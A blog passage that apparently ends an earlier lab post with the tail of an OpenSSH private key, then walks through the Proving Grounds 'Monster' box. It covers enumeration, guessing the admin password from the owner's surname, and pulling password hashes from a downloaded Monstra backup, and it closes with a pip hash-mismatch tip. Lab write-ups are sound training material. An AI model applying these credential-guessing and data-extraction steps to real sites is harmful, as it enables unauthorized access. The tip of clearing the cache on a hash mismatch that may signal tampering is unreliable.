nUiKxhJFWERjQIJvnX7CS3x8ZKYE4BmpaQ1NN5DiSctJRjHlnY3JECSaSt0Lc2ynOhGBHP
m/49jD+sBJDl7i6MELuyKGUHXCENkBDHc7kdkaDzxUqe1eelNHOBQZcpUroCYrfKQjKMlp
/T/78KtD7XDeEAAAARbGVvbmFyZG9AcGxheWxpc3QBAg==
-----END OPENSSH PRIVATE KEY-----

and updating the permissions on the file we now have ssh access!

I’ll go over the 2nd part of the challenge in a later post.

Proving Grounds-Monster (Part 0)

Monster is a cute litte box, that doesn’t really have much of a monster angle, to it. Though, that’s part of the charm, I think. Some good old enumeration will get you through to a shell.

Enumeration

After running an initial nmap scan, (something as simple as nmap -p- $target) we get back a few list of some services running: http and https (80,443) and RDP (3389).

nmap

Taking a look at the http services running on the host, we can see there are a lot of similarities between the the two services, so for now, we can assume they’re the same and visit the http site.

nmap scan info

Before moving too far ahead, it was important for me log into the https site and take a look around. It’s also a good idea to take a look at the SSL certificate the site issues and seek out subdomains that the cert may also be valid for.

Neither turns up anything, but gives me a good feeling knowing I checked.

Mike’s Page

mike's super cool site

The site belongs to Monster’s Inc. character Mike Wazowski.

Taking a look around, not much of the site appears functional. The resume download button, and other items don’t link anywhere, but we note the use of a contact form at the bottom of the page.

GoBuster: Blog Discovery

A GoBuster search, produces both /assets and /blog directories.

Navigating to the /blog page we find that the we’re unable to proceed because we’ll need to add monster.pg to our /etc/hosts file.

After doing so we can visit the blog and begin our enumeration.

Blog

Just to have some enumeration running in the background, I start another GoBuster search on the /blog directory.

The recommended way of doing website enumeration is going to be to “walk the site”. Going page by page and getting familar with how the site works and making a note of things that were modified, personalized, or would in any way be useful to us.

Going through the header buttons and just scrolling down each page, taking a look at the source, and “getting a feel” for what the site does.

Vulnerability Discovery: Monstra 3.0.4

At the foot of the pages, we’ll see that the site is running monstra 3.0.4. Using searchsploit, we turn up a few exploits, but most require authentication.

We won’t get attached to it, but we can now start to forumlate a hypothesis which states we’ll need to impersonatea user to proceed further into the target. Currently, we don’t have any usernames, so we’ll continue to walk the site.

Vulnerability Discover: Weak Passwords

Listed under under http://monster.pg/blog/users we find some information about users.

This is great! And we’ll note it down, as these will be the key to cracking the login problem.

Login Page

Trying things like admin:admin are easy wins, and whenever we see a username, we should consider trying those too. While trying mike:mike fails, trying the username admin and the site owner’s last name succeeds.

With an authenticated user, and a known vulnerable version of software, this is the point where most folks want to jump ahead and get a shell. Searchploit turns up a bunch of RCE’s and other interesting vectors. But none of these work.

With known exploits failing us, we might want to upload or inject some php and get code execution on the web application. But this won’t work either as these have been patched on this instance of Monstra.

No, the easiest path is going to be to sit back and enumerate further.

Abusing Site Features/Functionality: Site Backup

Walking the application, we’ll find that we have the ability to download a back up of the site. We’ll create a backup, download it and unzip it and find that there are a lot of files here.

A lot of the files seem to be .html files and images, but since we’re interested in the back end, we’ll take a look at the .xml files.

-rw-r--r-- 1 kali kali  458 Mar 15 14:06 blog.manifest.xml
-rw-r--r-- 1 kali kali  471 Mar 15 14:06 captcha.manifest.xml
-rw-r--r-- 1 kali kali  534 Mar 15 14:06 codemirror.manifest.xml
-rw-r--r-- 1 kali kali  490 Mar 15 14:06 markdown.manifest.xml
-rw-r--r-- 1 kali kali  489 Mar 15 14:06 markitup.manifest.xml
-rw-r--r-- 1 kali kali  507 Mar 15 14:06 menu.table.xml
-rw-r--r-- 1 kali kali 1.9K Mar 15 14:06 options.table.xml
-rw-r--r-- 1 kali kali 1.7K Mar 15 14:06 pages.table.xml
-rw-r--r-- 1 kali kali 3.6K Mar 15 14:06 plugins.table.xml
-rw-r--r-- 1 kali kali  470 Mar 15 14:06 sandbox.manifest.xml
-rw-r--r-- 1 kali kali  820 Mar 15 14:06 users.table.xml

The file users.table.xml is the most interesting one here, and grepping the file for the string password

We find some interesting hashes.

grep -i 'password' users.table.xml --color=auto

<..snip..>

\<root><options><autoincrement>2</autoincrement></options><fields><login/><password/><email/><role/><date_registered/><firstname/><lastname/><login/><twitter/><skype/><hash/><about_me/></fields><users><id>1</id><uid>de58425259</uid><firstname/><lastname/><twitter/><skype/><about_me/><login>admin</login><password>a2b4e80cd640aaa6e417febe095dcbfc</password><email>wazowski@monster.pg</email><hash>jJkdUX1FOFiI</hash><date_registered>1645512776</date_registered><role>admin</role></users><users><id>2</id><uid>800c7d9797</uid><firstname/><lastname/><twitter/><skype/><about_me/><login>mike</login><password>844ffc2c7150b93c4133a6ff2e1a2dba</password><email>mike@monster.pg</email><hash>8vPjvUPDHhRp</hash><date_registered>1645512909</date_registered><role>user</role></users></root>

<...end-snip...>

And this is where we’ll leave it for now, in the next post we’ll discuss the best way to crack these hashes and get a shell on the box.

pip hash mismatches

On occasion I’ve run into an issue where pip complains about hash mismatches. As seen below.

└─$ sudo pip install -r requirements.txt                                                                             
[sudo] password for kali:                                                                                            
Collecting cffi==1.14.2                                                                                              
  Downloading cffi-1.14.2.tar.gz (470 kB)                                                                            
     |████████████████████████████████| 470 kB 2.0 MB/s                                                              
Requirement already satisfied: click==7.1.2 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (7.
1.2)                                                                                                                 
Collecting cryptography==3.1                                                                                         
  Downloading cryptography-3.1-cp35-abi3-manylinux2010_x86_64.whl (2.6 MB)                                           
     |████████████████████████████████| 2.6 MB 3.6 MB/s                                                              
ERROR: THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS FILE. If you have updated the package versions, p
lease update the hashes. Otherwise, examine the package contents carefully; someone may have tampered with them.     
    cryptography==3.1 from https://files.pythonhosted.org/packages/c0/9c/647e559a6e8be493dc2a7a5d15d26cb501ca60ec299b
356f23839a673a83/cryptography-3.1-cp35-abi3-manylinux2010_x86_64.whl#sha256=321761d55fb7cb256b771ee4ed78e69486a7336be
9143b90c52be59d7657f50f (from -r requirements.txt (line 3)):                                                         
        Expected sha256 321761d55fb7cb256b771ee4ed78e69486a7336be9143b90c52be59d7657f50f                             
             Got        a14d0fdef1a2bbc476c328084e07af58696f9cce1c354a9e2956e4469ca5afa3       


Pip MisMatch Fail

Using the --no-cache-dir flag will often fix this.

But it’s probably better to simply use virtualenv. This guide can be helpful for that.